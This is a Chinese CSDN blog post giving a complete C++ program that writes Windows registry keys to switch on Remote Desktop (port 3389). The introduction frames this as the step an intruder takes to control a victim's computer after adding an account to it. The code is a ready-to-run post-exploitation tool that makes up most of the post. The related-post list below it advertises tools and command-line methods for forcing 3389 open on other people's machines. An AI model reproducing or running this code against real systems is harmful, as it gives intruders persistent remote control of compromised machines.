安全之路 —— C/C++开3389端口(远程终端)

原创 2018年04月15日 21:59:57

简介

在渗透测试中开启对方电脑的3389端口是入侵者加入对方计算机账户后要想直接控制对方计算机的必须步骤,即开启对方计算机的远程终端功能,不同的Windows系统要开启3389需要修改不同的注册表项,为了方便,我们直接添加所有可能的注册表项,其中Windwos2000电脑需要重启激活,本程序并未添加此功能,需要的可参考笔者之前的博文:C/C++控制Windows关机/注销/重启的正确姿势。最后,要想关闭自己电脑的3389端口,可参考:关闭3389端口的方法

注:本文在注册表资料上参考了《非安全》编辑部出版的《Hack编程实例精讲》系列书籍以及部分网络资料,在此致谢。

C++代码样例

#include <cstdio>
#include <cstdlib>
#include <cstring>
#include <iostream>
#include <windows.h>

using namespace std;

//封装字符型注册表操作
BOOL setStringValueToReg(HKEY hRoot, const char* szSubKey, const char* szValueName, const char* szValue)
{
    HKEY hKey;
    long lRet;
    if (lRet = RegCreateKeyEx(hRoot, szSubKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, NULL)) return false;
    if (lRet = RegSetValueEx(hKey, szValueName, 0, REG_SZ, (BYTE*)szValue, strlen(szValue))) return false;
    RegCloseKey(hKey);
    RegCloseKey(hRoot);
    return true;
}

//封装数值型(DWORD)注册表操作
BOOL setDWORDValueToReg(HKEY hRoot, const char* szSubKey, const char* szValueName, DWORD szValue)
{
    HKEY hKey;
    long lRet;
    if (lRet = RegCreateKeyEx(hRoot, szSubKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, NULL)) return false;
    if (lRet = RegSetValueEx(hKey, szValueName, 0, REG_DWORD, (BYTE*)&szValue, sizeof(DWORD))) return false;
    RegCloseKey(hKey);
    RegCloseKey(hRoot);
    return true;
}

int WINAPI WinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPSTR lpCmdLine, _In_ int nShowCmd)
{
    DWORD PORT = 0x00000d3d; //可自定义远程终端的端口号,这里默认为3389
    setStringValueToReg(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\netcache", "Enabled", "0");
    setDWORDValueToReg(HKEY_LOCAL_MACHINE, "SOFTWARE\\Policies\\Microsoft\\Windows\\Installer", "EnableAdminTSRemote", 0x00000001);
    setStringValueToReg(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "ShutdownWithoutLogon", "0");
    setDWORDValueToReg(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Control\\Terminal Server", "TSEnabled", 0x00000001);
    setDWORDValueToReg(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\TermDD", "Start", 0x00000002);
    setDWORDValueToReg(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\TermService", "Start", 0x00000002);
    setDWORDValueToReg(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Control\\Terminal Server", "fDenyTSConnections", 0x00000001);
    setDWORDValueToReg(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\RDPTcp", "PortNumber", PORT);
    setDWORDValueToReg(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp", "PortNumber", PORT);
    setDWORDValueToReg(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\Wds\\rdpwd\\Tds\\tcp", "PortNumber", PORT);
    setDWORDValueToReg(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Control\\Terminal Server", "fDenyTSConnections", 0x00000000);
    setStringValueToReg(HKEY_USERS, ".DEFAULT\\Keyboard Layout\\Toggle", "Hotkey", "2");
    ExitProcess(0);
    return 0;
}
版权声明:本文为博主总结文章,欢迎转载,请注明出处。 https://blog.csdn.net/PeterZ1997/article/details/79953992

远程开启3389端口

远程开启3389端口TELNET上对方计算机中,接着接下面方法做:c:/>query userc:/>echo [Components] > c:/kawenc:/>echo TSEnable = o...
  • ZibbaForever
  • ZibbaForever
  • 2008-11-05 15:30:00
  • 5494

命令行强制开启3389服务支持server2008和2003

1.C:\Windows\System32\wbem\wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservices...
  • oShuangYue12
  • oShuangYue12
  • 2017-04-21 11:22:30
  • 2809

3389远程终端安全配置全攻略.php

  • 2008年12月15日 12:07
  • 41KB
  • 下载

修改服务器远程登录默认3389端口

步骤: 打开“开始→运行”,输入“regedit”,打开注册表,进入以下路径:[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal...
  • saindy5828
  • saindy5828
  • 2013-12-04 12:16:57
  • 959

开启3389工具,可以打开别人机器上的3389端口

  • 2009年03月25日 19:13
  • 3KB
  • 下载

3389开启关闭-----批处理开启或者关闭3389端口

  • 2008年10月30日 16:03
  • 568B
  • 下载

CMD下开启2003的3389

一、缘起 近段时间微软出现的DNS溢出漏洞疯狂了一段时间,就是现在也还有许多服务器可以成功溢出。相信大家都有体验过溢出的经验 了吧,嘿嘿。但是当我们溢出成功后,返回得到的就只有一个system权限的c...
  • bekilledlzy
  • bekilledlzy
  • 2007-10-10 00:36:00
  • 5883

WMI脚本编程实现远程开启3389之新手体验http://blog.tom.com/

         作者:飘叶它乡 文章来源:飘叶它乡作者:飘叶它乡 QQ:94529184 ===================...
  • cuoguo1111
  • cuoguo1111
  • 2007-07-23 15:25:00
  • 882

3389批处理

  • 2013年03月15日 10:55
  • 36KB
  • 下载
收藏助手
不良信息举报
您举报文章:安全之路 —— C/C++开3389端口(远程终端)
举报原因:
原因补充:

(最多只允许输入30个字)